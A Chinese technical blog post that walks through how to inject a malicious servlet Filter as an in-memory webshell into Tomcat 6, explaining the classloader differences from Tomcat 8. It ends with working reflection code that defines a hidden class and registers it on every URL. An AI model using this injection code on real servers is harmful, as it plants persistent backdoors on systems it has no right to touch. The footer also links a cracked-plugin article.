Java安全之Tomcat6 Filter內(nèi)存馬問(wèn)題
回顧Tomcat8打法
先回顧下之前Tomcat789的打法
這里先拋開(kāi) 7 8之間的區(qū)別, 在8中,最后add到filterchain的都是一個(gè)filterconfig對(duì)象
ApplicationFilterConfig包含了FilterDef對(duì)象
構(gòu)造方法如下,如果當(dāng)前filter屬性為null會(huì)從FilterDef取filter的實(shí)例對(duì)象
ApplicationFilterConfig(Context context, FilterDef filterDef) throws ClassCastException, ClassNotFoundException, IllegalAccessException, InstantiationException, ServletException, InvocationTargetException, NamingException, IllegalArgumentException, NoSuchMethodException, SecurityException {
this.context = context;
this.filterDef = filterDef;
if (filterDef.getFilter() == null) {
this.getFilter();
} else {
this.filter = filterDef.getFilter();
this.getInstanceManager().newInstance(this.filter);
this.initFilter();
}
}FilterDef中存儲(chǔ)了filterClass / filterName / filter 屬性
public class FilterDef implements Serializable {
private static final long serialVersionUID = 1L;
private static final StringManager sm;
private String description = null;
private String displayName = null;
private transient Filter filter = null;
private String filterClass = null;
private String filterName = null;
private String largeIcon = null;
private final Map<String, String> parameters = new HashMap();
private String smallIcon = null;
private String asyncSupported = null;
public FilterDef() {
}再有就是createFilterChain中還涉及到filterMap

FilterMap里主要存放urlpatterner和filterName的映射
public class FilterMap extends XmlEncodingBase implements Serializable {
private static final long serialVersionUID = 1L;
public static final int ERROR = 1;
public static final int FORWARD = 2;
public static final int INCLUDE = 4;
public static final int REQUEST = 8;
public static final int ASYNC = 16;
private static final int NOT_SET = 0;
private int dispatcherMapping = 0;
private String filterName = null;
private String[] servletNames = new String[0];
private boolean matchAllUrlPatterns = false;
private boolean matchAllServletNames = false;
private String[] urlPatterns = new String[0];
tomcat8下注入filter內(nèi)存馬流程如下:
- FilterDef: 設(shè)置
setFilter(Filter filter)setFilterName(String filterName)setFilterClass(String filterClass)這里filterName和filterClass應(yīng)該不是一個(gè)東西,最后調(diào)用StandardContext#addFilterDef將該惡意filterdef put到this.filterDefs - FilterMap:
addURLPattern("/*")setFilterName(String filterName)setDispatcher(DispatcherType.REQUEST.name()),最后調(diào)用StandardContext#addFilterMapBefore(filtermap)添加到this.filterMaps中 - ApplicationFilterConfig: 調(diào)用有參構(gòu)造將
FilterDef作為參數(shù)傳遞進(jìn)去后調(diào)有參構(gòu)造實(shí)例化一個(gè)ApplicationFilterConfig,最終put進(jìn)standardcontext的屬性里去。
探索Tomcat6與Tomcat8之間的區(qū)別
主要看下tomcat6和tomcat8之間createFilterChain不相同的地方 看到ApplicationFilterFactory#createFilterChain
跟進(jìn)getFilter

主要代碼如下:
所以這里構(gòu)造filterDef的時(shí)候filterClass為evilfilter的全類(lèi)名即可

再來(lái)看下FilterDef 可以發(fā)現(xiàn)確實(shí)在Tomcat6下面沒(méi)有filter這個(gè)屬性了

所以一個(gè)很大的區(qū)別就是在getFilter方法,也就是獲取filter實(shí)例對(duì)象的邏輯:
Tomcat8中是通過(guò)filterDef的屬性filter值來(lái)拿到 惡意filter實(shí)例
Tomcat6中是通過(guò)filterDef的屬性filterClass屬性作為類(lèi)名,通過(guò)ClassLoader去實(shí)例化

這里當(dāng)我們調(diào)用有參構(gòu)造實(shí)例化ApplicationFilterConfig時(shí),會(huì)進(jìn)入getFilter方法邏輯內(nèi)

重點(diǎn)看loadClass方法是否可以加載到我們的惡意filter,因?yàn)檫@個(gè)filter并不是真實(shí)存在,且我們也只是通過(guò)了當(dāng)前線(xiàn)程去defineClass的

跟進(jìn)WebappClassLoader#loadClass

看到this.findLoadedClass0(name)從resourceEntries也就是classes下各個(gè)包中的.class找,是否有這個(gè)類(lèi),有的話(huà)直接return 這個(gè)entry的loadClass屬性

這個(gè)屬性存儲(chǔ)的是該類(lèi)的class對(duì)象,如果這里面有該類(lèi)名,后面就直接resovleClass了

這里肯定是沒(méi)有我們的惡意filter,繼續(xù)往下跟
后面直接調(diào)用java.lang.ClassLoader#findLoadedClass來(lái)通過(guò)ClassLoader去找是否已經(jīng)加載過(guò)該class了
而在這里是直接找到了

查閱開(kāi)發(fā)資料并思考了一下:
這里因?yàn)槲覀冎笆峭ㄟ^(guò)當(dāng)前線(xiàn)程上下文加載器把惡意filter給loadClass了,所以這里就是可以找到的
后面隨手翻了下classloader的屬性,發(fā)現(xiàn)在classes屬性是存在該filter的class的

那么正好來(lái)debug一下當(dāng)前線(xiàn)程上下文ClassLoader#loadClass的過(guò)程
可以看到當(dāng)前上下文的ClassLoader就是WebappClassLoader,并且此時(shí)classes屬性里并沒(méi)有我們的惡意類(lèi)

而當(dāng)步過(guò)defineClass后,當(dāng)前線(xiàn)程上下文ClassLoader也就是WebappClassLoader的classes屬性中就新增了我們的惡意filter的class
所以后續(xù)在getFilter的邏輯中也是可以成功通過(guò)

回溯上面的邏輯時(shí),getFilter方法因?yàn)闀?huì)走到這個(gè)else邏輯內(nèi),所以最終也是通過(guò)WebappClassLoader#loadClass的我們的惡意filter

以上,所以因?yàn)槲覀兦懊嬲{(diào)用的是Thread.currentThread().getContextClassLoader()去加載的我們惡意filter類(lèi),而tomcat6中getFilter邏輯是通過(guò)this.context.getLoader().getClassLoader();去findClass,而這兩個(gè)ClassLoader又同為WebappClassLoader所以不會(huì)存在ClassNotfound的問(wèn)題。 所以tomcat6中注入filter內(nèi)存馬就不需要先實(shí)例化惡意filter存到filterDef中,直接使用Thread.currentThread().getContextClassLoader()去defineClass一下惡意filter即可。
注入內(nèi)存馬的主要代碼如下:
Method var1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
var1.setAccessible(true);
byte[] var2 = base64decode("base64 str");
var1.invoke(Thread.currentThread().getContextClassLoader(), var2, 0, var2.length);
try {
if (STANDARDCONTET != null) {
// 1 反射獲取filterDef
Class FilterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
Constructor FilterDefconstructor = FilterDefClass.getConstructor(new Class[]{});
Object filterDef = FilterDefconstructor.newInstance();
// 2 設(shè)置filtername
Method setFilterNameMethod = FilterDefClass.getDeclaredMethod("setFilterName", String.class);
setFilterNameMethod.invoke(filterDef,filterName);
// 3 setFilterClass
Method setFilterClassMethod = FilterDefClass.getDeclaredMethod("setFilterClass", String.class);
setFilterClassMethod.invoke(filterDef,Thread.currentThread().getContextClassLoader().loadClass("HiganbanaFilter").getName());
// 4 addFilterDef
Method addFilterDef=STANDARDCONTET.getClass().getMethod("addFilterDef", FilterDefClass);
addFilterDef.invoke(STANDARDCONTET,filterDef);
// 構(gòu)造FilterMap
Class FilterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");
Object filterMap = FilterMapClass.newInstance();
Method setFilterNameMethod2 = FilterMapClass.getDeclaredMethod("setFilterName", String.class);
setFilterNameMethod2.invoke(filterMap,FilterDefClass.getDeclaredMethod("getFilterName").invoke(filterDef));
Method setDispatcherMethod = FilterMapClass.getDeclaredMethod("setDispatcher", String.class);
setDispatcherMethod.invoke(filterMap,"REQUEST");
Method addURLPatternMethod = FilterMapClass.getDeclaredMethod("addURLPattern", String.class);
addURLPatternMethod.invoke(filterMap,"/*");
Method addFilterMapMethod=STANDARDCONTET.getClass().getDeclaredMethod("addFilterMap", FilterMapClass);
addFilterMapMethod.invoke(STANDARDCONTET,filterMap);
// 創(chuàng)建filterconfig 并添加到standardcontext.filterconfigs數(shù)組里
Class filterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor filterConfigCon = filterConfigClass.getDeclaredConstructor(Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef"));
filterConfigCon.setAccessible(true);
// 實(shí)例化ApplicationFilterConfig時(shí)觸發(fā)getFilter方法
Object filterConfigObj = filterConfigCon.newInstance(STANDARDCONTET, filterDef);
Field filterConfigsField = STANDARDCONTET.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
HashMap filterConfigsMap = (HashMap) filterConfigsField.get(STANDARDCONTET);
filterConfigsMap.put(filterName, filterConfigObj);
}
} catch (Throwable var16) {
var16.printStackTrace();
}
到此這篇關(guān)于Java安全之Tomcat6 Filter內(nèi)存馬的文章就介紹到這了,更多相關(guān)java tomcat6 filter內(nèi)存馬內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
SpringBoot統(tǒng)一返回結(jié)果問(wèn)題
這篇文章主要介紹了SpringBoot統(tǒng)一返回結(jié)果問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2023-07-07
idea 安裝 Mybatis 開(kāi)發(fā)幫助插件 MyBatisCodeHelper-Pro 插件破解版的方法
MyBatisCodeHelper-Pro 插件可以幫助我們快速的開(kāi)發(fā) mybatis,這篇文章給大家介紹idea 安裝 Mybatis 開(kāi)發(fā)幫助插件 MyBatisCodeHelper-Pro 插件破解版的相關(guān)知識(shí),感興趣的朋友跟隨小編一起看看吧2020-09-09
IDEA上運(yùn)行Flink任務(wù)的實(shí)戰(zhàn)教程
這篇文章主要介紹了IDEA上運(yùn)行Flink任務(wù)的實(shí)戰(zhàn)教程,本文通過(guò)圖文并茂的形式給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-10-10
Spring Boot構(gòu)建優(yōu)雅的RESTful接口過(guò)程詳解
這篇文章主要介紹了spring boot構(gòu)建優(yōu)雅的RESTful接口過(guò)程詳解,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2019-08-08
阿里資深技術(shù)專(zhuān)家:在各階段中3年經(jīng)驗(yàn)的java程序員應(yīng)該具備哪些技術(shù)能力
這篇文章主要介紹了阿里資深技術(shù)專(zhuān)家:在各階段中3年經(jīng)驗(yàn)的java程序員應(yīng)該具備哪些技術(shù)能力,本文給大家列舉了一些內(nèi)容,大家可以根據(jù)自己需要有方法的掌握,感興趣的朋友跟隨小編一起看看吧2020-07-07
淺談Storm在zookeeper上的目錄結(jié)構(gòu)
這篇文章主要介紹了淺談Storm在zookeeper上的目錄結(jié)構(gòu)的相關(guān)內(nèi)容,涉及storm使用zookeeper的操作以及詳細(xì)結(jié)構(gòu)圖,具有一定參考價(jià)值,需要的朋友可以了解下。2017-10-10
SpringMVC KindEditor在線(xiàn)編輯器之文件上傳代碼實(shí)例
這篇文章主要介紹了SpringMVC KindEditor在線(xiàn)編輯器之文件上傳代碼實(shí)例,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2019-09-09

